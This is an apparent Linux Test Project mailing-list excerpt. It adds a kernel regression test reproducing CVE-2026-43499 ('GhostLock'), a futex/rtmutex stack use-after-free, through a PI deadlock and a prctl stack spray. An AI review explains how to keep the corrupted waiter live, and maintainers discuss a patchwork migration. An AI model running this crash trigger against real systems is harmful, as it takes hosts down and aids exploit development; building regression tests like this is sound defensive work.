 cve-2025-21756
 cve-2026-46331
+ghostlock
diff --git a/testcases/cve/Makefile b/testcases/cve/Makefile
index 98c38e90801a21eedad986273d537b16f3e4eb91..22ca4b727ddc240edcc9409ce82904039fc70111 100644
--- a/testcases/cve/Makefile
+++ b/testcases/cve/Makefile
@@ -11,7 +11,7 @@ stack_clash:	CFLAGS += -fno-optimize-sibling-calls -Wno-infinite-recursion
 
 cve-2016-7042:	LDLIBS += $(KEYUTILS_LIBS)
 
-cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053:  CFLAGS += -pthread
+cve-2014-0196 cve-2016-7117 cve-2017-2671 cve-2017-17052 cve-2017-17053 ghostlock:  CFLAGS += -pthread
 cve-2014-0196 cve-2016-7117 cve-2017-2671:  LDLIBS += -lrt
 
 ifneq ($(ANDROID),1)
diff --git a/testcases/cve/ghostlock.c b/testcases/cve/ghostlock.c
new file mode 100644
index 0000000000000000000000000000000000000000..e6848ba3c3d72e3753f51d2ec922d2ca85e7f01d
--- /dev/null
+++ b/testcases/cve/ghostlock.c
@@ -0,0 +1,252 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2026 Nebula Security <root@nebusec.ai>
+ * Copyright (c) 2026 Linux Test Project
+ */
+
+/*\
+ * Test for CVE-2026-43499 (GhostLock), a stack use-after-free in the
+ * rtmutex PI code, fixed in kernel v7.1:
+ * 3bfdc63936dd ("rtmutex: Use waiter::task instead of current in remove_waiter()")
+ *
+ * Reproducer based on the Nebula Security writeup and open-sourced PoC
+ * (https://nebusec.ai/research/ionstack-part-2/ and
+ * https://github.com/NebuSec/CyberMeowfia).
+ * Beware, this test will crash the system on a vulnerable kernel.
+ *
+ * [Algorithm]
+ *
+ * - Set up a three-futex PI deadlock topology.
+ * - Call :manpage:`futex(2)` with FUTEX_CMP_REQUEUE_PI on the waiter.
+ * - On a vulnerable kernel, the rollback from -EDEADLK leaves the waiter's
+ *   pi_blocked_on pointer dangling on its own stack.
+ * - Waiter sprays its stack via :manpage:`prctl(2)` (PR_SET_MM_MAP) with
+ *   non-canonical addresses.
+ * - Main thread calls :manpage:`sched_setattr(2)` on the waiter to trigger
+ *   a chain walk.
+ * - The chain walk dereferences the sprayed garbage, crashing a vulnerable
+ *   kernel.
+ */
+
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "tst_safe_clocks.h"
+#include "tst_safe_pthread.h"
+#include "lapi/syscalls.h"
+#include "lapi/sched.h"
+#include "lapi/prctl.h"
+#include "lapi/futex.h"
+
+#define ATTEMPTS 128
+#define PRCTL_STAMPS 100
+
+#define POISON_PTR 0xdeadbee11c518f58ULL
+#define MAX_AUXV_WORDS 48
+
+#define CP_CHAIN_HELD 0
+#define CP_TARGET_HELD 1
+#define CP_OWNER_BLOCKED 2
+#define CP_SPRAYED 3
+#define CP_SETATTR_DONE 4
+
+static uint32_t f_wait;
+static uint32_t f_pi_target;
+static uint32_t f_pi_chain;
+
+static pid_t waiter_tid;
+static pid_t owner_tid;
+
+static unsigned long auxv[MAX_AUXV_WORDS];
+static uint32_t valid_auxv_size;
+
+static int futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2,
+				 struct timespec *ts)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts,
+			   uaddr2, 0);
+}
+
+static int futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1,
+			   uaddr2, 0);
+}
+
+static int futex_lock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
+}
+
+static int futex_unlock_pi(uint32_t *uaddr)
+{
+	return tst_syscall(__NR_futex, uaddr, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
+}
+
+static void run_spray(void)
+{
+	struct prctl_mm_map mm_map = {
+		.start_code  = (uint64_t)(uintptr_t)&run_spray,
+		.end_code    = (uint64_t)(uintptr_t)&run_spray + 0x1000,
+		.start_data  = (uint64_t)(uintptr_t)auxv & ~0xfffUL,
+		.end_data    = ((uint64_t)(uintptr_t)auxv & ~0xfffUL) + 0x1000,
+		.start_brk   = (uint64_t)(uintptr_t)sbrk(0),
+		.brk         = (uint64_t)(uintptr_t)sbrk(0),
+		.start_stack = (uint64_t)(uintptr_t)&mm_map,
+		.arg_start   = (uint64_t)(uintptr_t)&mm_map,
+		.arg_end     = (uint64_t)(uintptr_t)&mm_map,
+		.env_start   = (uint64_t)(uintptr_t)&mm_map,
+		.env_end     = (uint64_t)(uintptr_t)&mm_map,
+		.auxv        = (void *)auxv,
+		.auxv_size   = valid_auxv_size,
+		.exe_fd      = (uint32_t)-1,
+	};
+
+	for (int i = 0; i < PRCTL_STAMPS; i++) {
+		SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP, (unsigned long)&mm_map,
+			   sizeof(mm_map), 0);
+	}
+}
+
+static void *waiter_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	struct timespec ts;
+
+	waiter_tid = tst_syscall(__NR_gettid);
+
+	futex_lock_pi(&f_pi_chain);
+
+	TST_CHECKPOINT_WAKE2(CP_CHAIN_HELD, 2);
+	TST_CHECKPOINT_WAIT(CP_OWNER_BLOCKED);
+
+	SAFE_CLOCK_GETTIME(CLOCK_MONOTONIC, &ts);
+	ts = tst_timespec_add(ts, (struct timespec){ .tv_sec = 10, .tv_nsec = 0 });
+	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
+
+	run_spray();
+
+	TST_CHECKPOINT_WAKE(CP_SPRAYED);
+	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);
+
+	futex_unlock_pi(&f_pi_chain);
+
+	return NULL;
+}
+
+static void *owner_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	owner_tid = tst_syscall(__NR_gettid);
+
+	TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+
+	futex_lock_pi(&f_pi_target);
+	TST_CHECKPOINT_WAKE(CP_TARGET_HELD);
+
+	futex_lock_pi(&f_pi_chain);
+
+	futex_unlock_pi(&f_pi_chain);
+	futex_unlock_pi(&f_pi_target);
+
+	return NULL;
+}
+
+static void setup(void)
+{
+	static const int try_sizes[] = {
+		MAX_AUXV_WORDS,
+		MAX_AUXV_WORDS - 4,
+		MAX_AUXV_WORDS - 8
+	};
+	struct prctl_mm_map map = {
+		.exe_fd = (uint32_t)-1,
+		.auxv = (void *)auxv,
+	};
+	unsigned int i, sz = 0;
+
+	SAFE_PRCTL(PR_SET_MM, PR_SET_MM_MAP_SIZE, (unsigned long)&sz, 0, 0);
+
+	for (i = 0; i < MAX_AUXV_WORDS; i++)
+		auxv[i] = POISON_PTR + i * sizeof(unsigned long);
+
+	map.start_code = map.start_data = map.end_data =
+	map.start_brk = map.brk = map.start_stack = map.arg_start =
+	map.arg_end = map.env_start = map.env_end = (uint64_t)(uintptr_t)&sz;
+	map.end_code = map.start_code + 0x1000;
+
+	for (i = 0; i < ARRAY_SIZE(try_sizes); i++) {
+		valid_auxv_size = try_sizes[i] * sizeof(unsigned long);
+		map.auxv_size = valid_auxv_size;
+
+		if (prctl(PR_SET_MM, PR_SET_MM_MAP, &map, sizeof(map), 0) == 0)
+			break;
+	}
+
+	if (i == ARRAY_SIZE(try_sizes))
+		tst_brk(TBROK | TERRNO, "PR_SET_MM_MAP failed for all auxv sizes");
+
+	tst_res(TDEBUG, "Using auxv_size = %u", valid_auxv_size);
+}
+
+static void run(void)
+{
+	pthread_t waiter_th, owner_th;
+	struct sched_attr attr = {
+		.size = sizeof(attr),
+		.sched_policy = SCHED_BATCH,
+		.sched_nice = 19,
+	};
+
+	tst_res(TINFO, "Triggering PI deadlock and stack spray");
+
+	for (int i = 0; i < ATTEMPTS; i++) {
+		f_wait = 0;
+		f_pi_target = 0;
+		f_pi_chain = 0;
+
+		SAFE_PTHREAD_CREATE(&waiter_th, NULL, waiter_fn, NULL);
+		SAFE_PTHREAD_CREATE(&owner_th, NULL, owner_fn, NULL);
+
+		TST_CHECKPOINT_WAIT(CP_CHAIN_HELD);
+		TST_CHECKPOINT_WAIT(CP_TARGET_HELD);
+
+		TST_THREAD_STATE_WAIT(owner_tid, 'S', 10000);
+
+		TST_CHECKPOINT_WAKE(CP_OWNER_BLOCKED);
+
+		TST_THREAD_STATE_WAIT(waiter_tid, 'S', 10000);
+
+		TEST(futex_cmp_requeue_pi(&f_wait, &f_pi_target));
+		if (TST_RET != -1 || TST_ERR != EDEADLK)
+			tst_brk(TBROK | TTERRNO, "FUTEX_CMP_REQUEUE_PI did not return -EDEADLK");
+
+		TST_CHECKPOINT_WAIT(CP_SPRAYED);
+
+		TEST(sched_setattr(waiter_tid, &attr, 0));
+		if (TST_RET == -1)
+			tst_brk(TBROK | TTERRNO, "sched_setattr() failed");
+
+		TST_CHECKPOINT_WAKE(CP_SETATTR_DONE);
+
+		SAFE_PTHREAD_JOIN(waiter_th, NULL);
+		SAFE_PTHREAD_JOIN(owner_th, NULL);
+	}
+
+	tst_res(TPASS, "Kernel survived %d GhostLock trigger attempts", ATTEMPTS);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+	.runtime = 180,
+	.needs_checkpoints = 1,
+	.needs_kconfigs = (const char *[]) {
+		"CONFIG_CHECKPOINT_RESTORE=y",
+		"CONFIG_FUTEX_PI=y",
+		NULL
+	},
+	.taint_check = TST_TAINT_W | TST_TAINT_D,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "3bfdc63936dd"},
+		{"CVE", "2026-43499"},
+		{}
+	},
+};

-- 
2.51.0


From chrubis@suse.cz  Mon Aug  3 10:11:15 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 10:11:15 +0200
Subject: [LTP] [PATCH 1/2] lapi/prctl: add more fallback definitions
In-Reply-To: <20260801-cve-ghostlock-v1-1-178f698f9702@suse.com>
References: <20260801-cve-ghostlock-v1-0-178f698f9702@suse.com>
 <20260801-cve-ghostlock-v1-1-178f698f9702@suse.com>
Message-ID: <anBNIz29I4YdG2Ii@yuki.lan>

Hi!
>  configure.ac         |  2 ++
>  include/lapi/prctl.h | 25 +++++++++++++++++++++++++
>  2 files changed, 27 insertions(+)
> 
> diff --git a/configure.ac b/configure.ac
> index 19fc5e1b8f5f5f94bd797ff2ba4275c29c20cb6c..e698c2b890547ccd32872526daeba13477a7edba 100644
> --- a/configure.ac
> +++ b/configure.ac
> @@ -286,6 +286,8 @@ AC_CHECK_TYPES([struct fsxattr],,,[#include <linux/fs.h>])
>  
>  AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include <linux/fs.h>])
>  
> +AC_CHECK_TYPES([struct prctl_mm_map],,,[#include <linux/prctl.h>])
                                                      ^
						      This must be
						      sys/prctl.h


You are checking linux/prctl.h but include sys/prctl.h in lapi/prctl.h
which breaks compilation on all targets in CI.


-- 
Cyril Hrubis
chrubis@suse.cz

From andrea.cervesato@suse.com  Mon Aug  3 10:15:25 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 03 Aug 2026 08:15:25 +0000
Subject: [LTP] [PATCH 1/2] lapi/prctl: add more fallback definitions
In-Reply-To: <anBNIz29I4YdG2Ii@yuki.lan>
Message-ID: <6a704e1e.da15fda7.2878a9.2f0c@mx.google.com>

Hi Cyril,

> You are checking linux/prctl.h but include sys/prctl.h in lapi/prctl.h
> which breaks compilation on all targets in CI.

yeah, I sent a new version that will fix it + 32bit run

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From pvorel@suse.cz  Mon Aug  3 11:13:48 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 11:13:48 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <6a6c5226.d5b2c389.166717.d42a@mx.google.com>
References: <20260731054548.133241-1-pvorel@suse.cz>
 <6a6c5226.d5b2c389.166717.d42a@mx.google.com>
Message-ID: <20260803091348.GA216243@pevik>

Hi all,

since we have all active LTP maintainers enabled as patchwork maintainers in the
kernel.org instance [1] I'd like in few hours merge this patch to finally move
to patchwork.kernel.org. FYI we already have 18 patches on it, AI review is
there as well.

@Cyril @Li @Jan: Could you please ack this patch?

I wonder when to stop receiving patches on the old ozlabs instance [2] We should
probably ask for it soon so that people don't think we stop maintaining it. I
hoped that the last patch on that instance would be "Switch to
patchwork.kernel.org" [3], but there are new patches now. OTOH we then no longer
get updates for the old patchsets (there are 54 patches which aren't on the new
kernel.org instance + already 6 duplicates).

Other question is when to ask about for removing the old instance. I'd keep it
at least for some time (can be useful + there might be bookmarks, instance has
13079 patches, first one in 2018-02-28). WDYT?

Kind regards,
Petr

[1] https://patchwork.kernel.org/project/ltp/
[2] https://patchwork.ozlabs.org/project/ltp/list/
[3] https://patchwork.ozlabs.org/project/ltp/patch/20260731054548.133241-1-pvorel@suse.cz/


From chrubis@suse.cz  Mon Aug  3 11:22:12 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 11:22:12 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <20260803091348.GA216243@pevik>
References: <20260731054548.133241-1-pvorel@suse.cz>
 <6a6c5226.d5b2c389.166717.d42a@mx.google.com>
 <20260803091348.GA216243@pevik>
Message-ID: <anBdxCKHlpedf2rf@yuki.lan>

Hi!
> since we have all active LTP maintainers enabled as patchwork maintainers in the
> kernel.org instance [1] I'd like in few hours merge this patch to finally move
> to patchwork.kernel.org. FYI we already have 18 patches on it, AI review is
> there as well.
> 
> @Cyril @Li @Jan: Could you please ack this patch?

Acked-by: Cyril Hrubis <chrubis@suse.cz>

Btw, we may want to add the patchwork link into kernel MINTAINTERS file, 

> I wonder when to stop receiving patches on the old ozlabs instance [2] We should
> probably ask for it soon so that people don't think we stop maintaining it.

Sounds about right.

> I hoped that the last patch on that instance would be "Switch to
> patchwork.kernel.org" [3], but there are new patches now. OTOH we then no longer
> get updates for the old patchsets (there are 54 patches which aren't on the new
> kernel.org instance + already 6 duplicates).
>
> Other question is when to ask about for removing the old instance. I'd keep it
> at least for some time (can be useful + there might be bookmarks, instance has
> 13079 patches, first one in 2018-02-28). WDYT?

I would keep it around at least for a year or two, I sometimes look up
old patches there.

-- 
Cyril Hrubis
chrubis@suse.cz

From andrea.cervesato@suse.com  Mon Aug  3 11:23:52 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 03 Aug 2026 09:23:52 +0000
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <20260803091348.GA216243@pevik>
Message-ID: <6a705e29.c69142e7.53fee.4a71@mx.google.com>

Hi Petr,

> to patchwork.kernel.org. FYI we already have 18 patches on it, AI review is
> there as well.

Unfortunately AI review doesn't work there at the moment, I'm waiting for
the LTP CI user set inside the new patchwork instance. But for now, we can
backup this with my personal token, if needed.

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Mon Aug  3 11:28:15 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 03 Aug 2026 09:28:15 +0000
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <anBdxCKHlpedf2rf@yuki.lan>
Message-ID: <6a705f30.cfe55ba5.e6eae.189a@mx.google.com>

> I would keep it around at least for a year or two, I sometimes look up
> old patches there.

that looks like a really long period of time. lore.kernel.org/ltp/
is not enough?

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From jstancek@redhat.com  Mon Aug  3 11:29:49 2026
From: jstancek@redhat.com (Jan Stancek)
Date: Mon, 3 Aug 2026 11:29:49 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <20260803091348.GA216243@pevik>
References: <20260731054548.133241-1-pvorel@suse.cz>
 <6a6c5226.d5b2c389.166717.d42a@mx.google.com>
 <20260803091348.GA216243@pevik>
Message-ID: <CAASaF6xC0wxDm+UDBVpmoZesPHuGsP5kEnpRqL=zLeDxNxTcMw@mail.gmail.com>

On Mon, Aug 3, 2026 at 11:14?AM Petr Vorel <pvorel@suse.cz> wrote:
>
> Hi all,
>
> since we have all active LTP maintainers enabled as patchwork maintainers in the
> kernel.org instance [1] I'd like in few hours merge this patch to finally move
> to patchwork.kernel.org. FYI we already have 18 patches on it, AI review is
> there as well.
>
> @Cyril @Li @Jan: Could you please ack this patch?

Acked-by: Jan Stancek <jstancek@redhat.com>

>
> I wonder when to stop receiving patches on the old ozlabs instance [2] We should
> probably ask for it soon so that people don't think we stop maintaining it. I

Agreed, I think we already can ask for that.

> hoped that the last patch on that instance would be "Switch to
> patchwork.kernel.org" [3], but there are new patches now. OTOH we then no longer
> get updates for the old patchsets (there are 54 patches which aren't on the new
> kernel.org instance + already 6 duplicates).
>
> Other question is when to ask about for removing the old instance. I'd keep it
> at least for some time (can be useful + there might be bookmarks, instance has
> 13079 patches, first one in 2018-02-28). WDYT?

I'd keep it too for now.

>
> Kind regards,
> Petr
>
> [1] https://patchwork.kernel.org/project/ltp/
> [2] https://patchwork.ozlabs.org/project/ltp/list/
> [3] https://patchwork.ozlabs.org/project/ltp/patch/20260731054548.133241-1-pvorel@suse.cz/
>


From linuxtestproject.agent@gmail.com  Mon Aug  3 11:36:54 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon,  3 Aug 2026 09:36:54 +0000
Subject: [LTP] lapi/prctl: add more fallback definitions
In-Reply-To: <20260803-cve-ghostlock-v2-1-b60588853140@suse.com>
References: <20260803-cve-ghostlock-v2-1-b60588853140@suse.com>
Message-ID: <20260803093654.9064-1-linuxtestproject.agent@gmail.com>

Hi Andrea,

On Mon, 3 Aug 2026, Andrea Cervesato wrote:
> lapi/prctl: add more fallback definitions

--- [PATCH 1/2] ---

> +#ifndef PR_SET_MM_MAP_SIZE
> +# define PR_SET_MM_MAP_SIZE	15
> +#endif
> +
> +#if !defined(HAVE_STRUCT_PRCTL_MM_MAP) && !defined(PR_SET_MM_MAP_SIZE)

Could this declaration be gated only on HAVE_STRUCT_PRCTL_MM_MAP?
PR_SET_MM_MAP_SIZE is defined immediately above, so the second condition is
always false. On systems where configure finds no struct prctl_mm_map, the
fallback is therefore never declared and the test fails to compile.

--- [PATCH 2/2] ---

> +	run_spray();
> +
> +	TST_CHECKPOINT_WAKE(CP_SPRAYED);
> +	TST_CHECKPOINT_WAIT(CP_SETATTR_DONE);

Could sched_setattr() run while PR_SET_MM_MAP is still copying the controlled
auxv? Here all prctl calls return before the checkpoint wake, and the waiter
then executes checkpoint futex syscalls before the main thread starts the
chain walk. The controlled user_auxv stack array is no longer live and can be
overwritten, allowing a vulnerable kernel to survive and be reported as
TPASS. The referenced PoC keeps the prctl copy active while sched_setattr()
runs so that the forged waiter remains live during the chain walk.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From li.wang@linux.dev  Mon Aug  3 11:44:23 2026
From: li.wang@linux.dev (Li Wang)
Date: Mon, 3 Aug 2026 17:44:23 +0800
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <6a705f30.cfe55ba5.e6eae.189a@mx.google.com>
References: <anBdxCKHlpedf2rf@yuki.lan>
 <6a705f30.cfe55ba5.e6eae.189a@mx.google.com>
Message-ID: <anBi9ybOfNzbxALE@linux.dev>

Andrea Cervesato wrote:

> > I would keep it around at least for a year or two, I sometimes look up
> > old patches there.
> 
> that looks like a really long period of time. lore.kernel.org/ltp/
> is not enough?

I guess Cyril means to look back the history of patch discussion when needed.
 
Or, can we tar the mail discussion for recent years and store it somewhere?

Anyway, for the patch:

Reviewed-by: Li Wang <li.wang@linux.dev>

-- 
Regards,
Li Wang

From pvorel@suse.cz  Mon Aug  3 11:44:45 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 11:44:45 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <6a705e29.c69142e7.53fee.4a71@mx.google.com>
References: <20260803091348.GA216243@pevik>
 <6a705e29.c69142e7.53fee.4a71@mx.google.com>
Message-ID: <20260803094445.GA217746@pevik>

Hi Andrea,

> Hi Petr,

> > to patchwork.kernel.org. FYI we already have 18 patches on it, AI review is
> > there as well.

> Unfortunately AI review doesn't work there at the moment, I'm waiting for
> the LTP CI user set inside the new patchwork instance. But for now, we can
> backup this with my personal token, if needed.

Good catch, thanks! Although AI reviews are posted to both instances (they both
get mails from LTP ML), the review status does not work.  That's due LTP CI user
not being part of LTP maintainers on patchwork.kernel.org [1] (as it is on the
old instance [2]) that should be solved soon. Please let me know if there is
something else missing.

FYI new instance also have only REST API enabled, the deprecated XML-RPC API is
disabled. Fortunately Andrea's ci/tools/patchwork.sh script uses the REST API :).

If somebody uses pwclient, it requires ~/.pwclientrc modification:
-url = https://patchwork.ozlabs.org/xmlrpc/
+url = https://patchwork.kernel.org/api/
+backend = rest

I also wonder if (once we switch) should send an announcement to LTP ML.

And (how ironically) atm patchwork.kernel.org respond really slowly for me,
patchwork.ozlabs.org does :). I suppose that should be just temporarily.

Kind regards,
Petr

[1] https://patchwork.kernel.org/project/ltp/
[2] https://patchwork.ozlabs.org/project/ltp/

From andrea.cervesato@suse.com  Mon Aug  3 12:14:50 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 03 Aug 2026 10:14:50 +0000
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <20260803094445.GA217746@pevik>
Message-ID: <6a706a1b.48c5cbf4.13db.1515@mx.google.com>

> And (how ironically) atm patchwork.kernel.org respond really slowly for me,
> patchwork.ozlabs.org does :). I suppose that should be just temporarily.

sigh, this is annoying.. I really hope it's just a moment.

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From chrubis@suse.cz  Mon Aug  3 12:24:37 2026
From: chrubis@suse.cz (Cyril Hrubis)
Date: Mon, 3 Aug 2026 12:24:37 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <6a705f30.cfe55ba5.e6eae.189a@mx.google.com>
References: <anBdxCKHlpedf2rf@yuki.lan>
 <6a705f30.cfe55ba5.e6eae.189a@mx.google.com>
Message-ID: <anBsZZGKDWrzSd7o@yuki.lan>

Hi!
> that looks like a really long period of time. lore.kernel.org/ltp/
> is not enough?

I do not mean maintaining it, stop it from receiving emails and keep it
rotting there.

-- 
Cyril Hrubis
chrubis@suse.cz

From pvorel@suse.cz  Mon Aug  3 12:26:51 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 12:26:51 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <anBsZZGKDWrzSd7o@yuki.lan>
References: <anBdxCKHlpedf2rf@yuki.lan>
 <6a705f30.cfe55ba5.e6eae.189a@mx.google.com>
 <anBsZZGKDWrzSd7o@yuki.lan>
Message-ID: <20260803102651.GC217746@pevik>

> Hi!
> > that looks like a really long period of time. lore.kernel.org/ltp/
> > is not enough?

> I do not mean maintaining it, stop it from receiving emails and keep it
> rotting there.

+1, at least for some time.

Kind regards,
Petr

From pvorel@suse.cz  Mon Aug  3 12:24:07 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 12:24:07 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <anBi9ybOfNzbxALE@linux.dev>
References: <anBdxCKHlpedf2rf@yuki.lan>
 <6a705f30.cfe55ba5.e6eae.189a@mx.google.com>
 <anBi9ybOfNzbxALE@linux.dev>
Message-ID: <20260803102407.GB217746@pevik>

Hi Li, all,

> Andrea Cervesato wrote:

> > > I would keep it around at least for a year or two, I sometimes look up
> > > old patches there.

> > that looks like a really long period of time. lore.kernel.org/ltp/
> > is not enough?

> I guess Cyril means to look back the history of patch discussion when needed.

Well, for the patch history we have LTP ML archive [1] and lore (has longer
history than patchwork [2]). Although patch view in patchwork might be easier to
read.

I meant something different: people have probably sent LTP patchwork ozlabs
instance links to other, put in bugzilla etc. Patchwork use Message-id, therefore
patch link [3] can be easily converted to lore [4]. Patch comment [5] don't.
That's why I'd keep abandoned LTP instance for some time, but maybe we just don't care.
Obviously keeping it around depends on ozlabs maintainers decision.

> Or, can we tar the mail discussion for recent years and store it somewhere?

FYI we already have history in git as an public-inbox [6]:
git clone https://lore.kernel.org/ltp/

> Anyway, for the patch:

> Reviewed-by: Li Wang <li.wang@linux.dev>

Thanks!

Kind regards,
Petr

[1] https://lists.linux.it/pipermail/ltp/
[2] https://lore.kernel.org/ltp/?t=20180216133201
[3] https://patchwork.ozlabs.org/project/ltp/patch/20260731054548.133241-1-pvorel@suse.cz/
[4] https://lore.kernel.org/ltp/20260731054548.133241-1-pvorel@suse.cz/
[5] https://patchwork.ozlabs.org/comment/3731798/
[6] https://lore.kernel.org/ltp/_/text/mirror/

From pvorel@suse.cz  Mon Aug  3 12:33:35 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 12:33:35 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <anBdxCKHlpedf2rf@yuki.lan>
References: <20260731054548.133241-1-pvorel@suse.cz>
 <6a6c5226.d5b2c389.166717.d42a@mx.google.com>
 <20260803091348.GA216243@pevik> <anBdxCKHlpedf2rf@yuki.lan>
Message-ID: <20260803103335.GD217746@pevik>

Hi Cyril, all,

> Hi!
> > since we have all active LTP maintainers enabled as patchwork maintainers in the
> > kernel.org instance [1] I'd like in few hours merge this patch to finally move
> > to patchwork.kernel.org. FYI we already have 18 patches on it, AI review is
> > there as well.

> > @Cyril @Li @Jan: Could you please ack this patch?

> Acked-by: Cyril Hrubis <chrubis@suse.cz>

Thank you!

> Btw, we may want to add the patchwork link into kernel MINTAINTERS file, 

Very good point, thanks! I'll send a patch adding a new one once we switch.

> > I wonder when to stop receiving patches on the old ozlabs instance [2] We should
> > probably ask for it soon so that people don't think we stop maintaining it.

> Sounds about right.

> > I hoped that the last patch on that instance would be "Switch to
> > patchwork.kernel.org" [3], but there are new patches now. OTOH we then no longer
> > get updates for the old patchsets (there are 54 patches which aren't on the new
> > kernel.org instance + already 6 duplicates).

> > Other question is when to ask about for removing the old instance. I'd keep it
> > at least for some time (can be useful + there might be bookmarks, instance has
> > 13079 patches, first one in 2018-02-28). WDYT?

> I would keep it around at least for a year or two, I sometimes look up
> old patches there.

+1

Kind regards,
Petr

From andrea.cervesato@suse.com  Mon Aug  3 12:34:47 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 03 Aug 2026 10:34:47 +0000
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <20260803102407.GB217746@pevik>
Message-ID: <6a706ec8.9099b29d.2d8c98.bbf9@mx.google.com>

> FYI we already have history in git as an public-inbox [6]:
> git clone https://lore.kernel.org/ltp/

+1

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From pvorel@suse.cz  Mon Aug  3 13:06:52 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 3 Aug 2026 13:06:52 +0200
Subject: [LTP] [PATCH 1/1] Switch to patchwork.kernel.org
In-Reply-To: <6a706ec8.9099b29d.2d8c98.bbf9@mx.google.com>
References: <20260803102407.GB217746@pevik>
 <6a706ec8.9099b29d.2d8c98.bbf9@mx.google.com>
Message-ID: <20260803110652.GG217746@pevik>

Hi all,

FYI LTP CI user is on the patchwork.kernel.org => I merged the patch. We finally
switch to patchwork.kernel.org. Thanks to all for your cooperation.

Kind regards,
Petr

From pvorel@suse.cz  Mon Aug  3 13:15:53 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon,  3 Aug 2026 13:15:53 +0200
Subject: [LTP] [PATCH 1/1] MAINTAINERS: Add LTP patchwork instance
Message-ID: <20260803111553.229452-1-pvorel@suse.cz>

LTP project recently switched to patchwork.kernel.org,
document it.

Link: https://github.com/linux-test-project/ltp/commit/3590f66120d1c875bef5d573c66c4c0d340c1612
Link: https://lore.kernel.org/ltp/20260731054548.133241-1-pvorel@suse.cz/
Suggested-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Petr Vorel <pvorel@suse.cz>
---
 MAINTAINERS | 1 +
 1 file changed, 1 insertion(+)

diff --git a/MAINTAINERS b/MAINTAINERS
index fe67f7bfa44c..69618d65c689 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -15521,6 +15521,7 @@ M:	Xiao Yang <yangx.jy@fujitsu.com>
 L:	ltp@lists.linux.it (subscribers-only)
 S:	Maintained
 W:	https://linux-test-project.readthedocs.io/
+Q:	https://patchwork.kernel.org/project/ltp/list/
 T:	git https://github.com/linux-test-project/ltp.git
 
 LTR390 AMBIENT/UV LIGHT SENSOR DRIVER
-- 
2.55.0


From andrea.cervesato@suse.com  Mon Aug  3 13:27:18 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 03 Aug 2026 11:27:18 +0000
Subject: [LTP] [PATCH 1/1] MAINTAINERS: Add LTP patchwork instance
In-Reply-To: <20260803111553.229452-1-pvorel@suse.cz>
Message-ID: <6a707b17.1583746b.1fc047.8237@mx.google.com>

